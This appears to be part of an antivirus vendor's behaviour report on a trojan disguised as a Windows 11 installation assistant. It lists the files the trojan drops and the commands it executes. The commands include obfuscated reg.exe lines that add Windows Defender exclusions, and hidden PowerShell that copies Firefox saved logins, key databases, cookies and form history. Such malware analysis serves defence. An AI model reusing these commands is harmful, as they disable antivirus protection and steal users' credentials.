from %APPDATA%\windows11installationassistant\images\is-96a1h.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@300.png
from %APPDATA%\windows11installationassistant\images\is-ngfb9.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@250.png
from C:\tmp\is-nfqcf.tmp to C:\tmp\pbd.dll
from %APPDATA%\windows11installationassistant\icons\classic\is-r5svo.tmp to %APPDATA%\windows11installationassistant\icons\classic\d7a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-a3uhl.tmp to %APPDATA%\windows11installationassistant\icons\classic\d7.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-ten29.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d20a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-vdkv9.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d20.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-log8t.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d2.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-j8upm.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d1a.ico
from C:\tmp\is-eljqt.tmp to C:\tmp\ico1.ico
from %APPDATA%\windows11installationassistant\images\is-37jlj.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@225.png
from %APPDATA%\windows11installationassistant\images\is-3k32p.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@200.png
from %APPDATA%\windows11installationassistant\images\is-g0e1s.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@175.png
from %APPDATA%\windows11installationassistant\images\is-1jhgb.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@150.png
from %APPDATA%\windows11installationassistant\images\is-cm2eu.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@350.png
from %APPDATA%\windows11installationassistant\images\is-0841m.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@125.png
from %APPDATA%\windows11installationassistant\images\is-ar0me.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@200.png
from %APPDATA%\windows11installationassistant\images\is-adihr.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@175.png
from %APPDATA%\windows11installationassistant\images\is-cghpp.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@150.png
from %APPDATA%\windows11installationassistant\images\is-iauhk.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@125.png
from %APPDATA%\windows11installationassistant\images\is-79u7k.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@100.png
from %APPDATA%\windows11installationassistant\images\is-1ba2m.tmp to %APPDATA%\windows11installationassistant\images\createfence@200.png
from %APPDATA%\windows11installationassistant\images\is-keoo5.tmp to %APPDATA%\windows11installationassistant\images\createfence@175.png
from %APPDATA%\windows11installationassistant\images\is-pebt3.tmp to %APPDATA%\windows11installationassistant\images\createfence@150.png
from %APPDATA%\windows11installationassistant\images\is-cj39n.tmp to %APPDATA%\windows11installationassistant\images\createfence@125.png
from %TEMP%\is-9mf53.tmp\temp\is-p7lq3.tmp to %TEMP%\is-9mf53.tmp\temp\r.exe
from %APPDATA%\windows11installationassistant\images\is-8jmr1.tmp to %APPDATA%\windows11installationassistant\images\createfence@100.png
from %APPDATA%\windows11installationassistant\images\is-50m69.tmp to %APPDATA%\windows11installationassistant\images\closeicon@150.png
from %APPDATA%\windows11installationassistant\images\is-1e3kv.tmp to %APPDATA%\windows11installationassistant\images\closeicon@125.png
from %APPDATA%\windows11installationassistant\images\is-cmo3b.tmp to %APPDATA%\windows11installationassistant\images\closeicon@100.png
from %APPDATA%\windows11installationassistant\icons\new blue\is-1qc5j.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d9a.ico
from %APPDATA%\windows11installationassistant\images\is-jdqi4.tmp to %APPDATA%\windows11installationassistant\images\pagerbullets@100.png

Substitutes the following files

%TEMP%\is-9mf53.tmp\temp\.cmd

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''
ClassName: 'MPWClass' WindowName: ''

Creates and executes the following

'%TEMP%\is-2gjnj.tmp\<File name>.tmp' /SL5="$B0236,18788298,203776,<Full path to file>"
'%APPDATA%\windows11installationassistant\windows11instaiiation.scr'
'%TEMP%\is-9mf53.tmp\temp\r.exe' /TI/ /sW:0 reG.eXe Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F
'%TEMP%\is-9mf53.tmp\temp\r.exe' /TI/ /SW:0 reG.exe add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F
'%TEMP%\is-9mf53.tmp\temp\r.exe' /sW:0 reG.eXe Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F
'%TEMP%\is-9mf53.tmp\temp\r.exe' /TI/ /Sw:0 reg.eXe add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f
'%TEMP%\is-9mf53.tmp\temp\r.exe' /TI/ /sW:0 reG.exe Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F
'%TEMP%\is-9mf53.tmp\temp\r.exe' /Sw:0 reg.eXe add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f
'%TEMP%\is-9mf53.tmp\temp\r.exe' /SW:0 reG.exe add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F
'%TEMP%\is-9mf53.tmp\temp\r.exe' /sW:0 reG.exe Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F
'%TEMP%\is-9mf53.tmp\temp\r.exe' /sW:0 reG.exe Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f
'%TEMP%\is-jesiv.tmp\<File name>.tmp' /SL5="$170224,18788298,203776,<Full path to file>" /verysilent /sp-
'%TEMP%\is-9mf53.tmp\temp\r.exe' /TI/ /sW:0 reG.exe Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f
'%APPDATA%\windows11installationassistant\windows11instaiiation.scr' ' (with hidden window)
'<SYSTEM32>\reg.exe' Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json\" \"%TEMP%\i3txczee1027172.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db\" \"%TEMP%\z405z...' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-9MF53.tmp\temp\.cmd""' (with hidden window)
'<SYSTEM32>\reg.exe' Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F' (with hidden window)
'<SYSTEM32>\reg.exe' add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F' (with hidden window)
'%WINDIR%\syswow64\taskkill.exe' /f /im "Windows11InstaIIation.scr"' (with hidden window)
'<SYSTEM32>\reg.exe' Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F' (with hidden window)
'<Full path to file>' /verysilent /sp-' (with hidden window)
'%WINDIR%\syswow64\rundll32.exe' C:\tmp\pbd.dll, Uaby' (with hidden window)
'<SYSTEM32>\reg.exe' add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\\Profiles/gn7ryp3k.default\formhistory.sqlite\" \"%TEMP%\mngnwd77lm4y1037874.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\\Profiles/gn7ryp3k.default\cookies.sql...' (with hidden window)

Executes the following

'%WINDIR%\syswow64\rundll32.exe' C:\tmp\pbd.dll, Uaby
'%WINDIR%\syswow64\dxdiag.exe' /x %LOCALAPPDATA%\Orange Group\Windows 11 Compatibility Checker\dxv.xml
'<SYSTEM32>\dxdiag.exe' /x %LOCALAPPDATA%\Orange Group\Windows 11 Compatibility Checker\dxv.xml
'%WINDIR%\syswow64\attrib.exe' +s +h %APPDATA%\windows11installationassistant\.vbs
'%WINDIR%\syswow64\attrib.exe' +s +H %APPDATA%\windows11installationassistant\.cmD
'%WINDIR%\syswow64\cmd.exe' /c cUrl -s IPiNfo.io/country
'<SYSTEM32>\reg.exe' Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json\" \"%TEMP%\i3txczee1027172.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db\" \"%TEMP%\z405z...
'%WINDIR%\syswow64\cmd.exe' /c cuRL -s IPINfo.Io/city
'<SYSTEM32>\reg.exe' add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F
'<SYSTEM32>\reg.exe' add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f
'<SYSTEM32>\reg.exe' Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F
'<SYSTEM32>\reg.exe' Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-9MF53.tmp\temp\.cmd""
'<SYSTEM32>\rundll32.exe' C:\tmp\pbd.dll, Uaby
'%WINDIR%\syswow64\cmd.exe' /c cUrL -s ipINFO.io/Ip
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\\Profiles/gn7ryp3k.default\formhistory.sqlite\" \"%TEMP%\mngnwd77lm4y1037874.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\\Profiles/gn7ryp3k.default\cookies.sql...

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial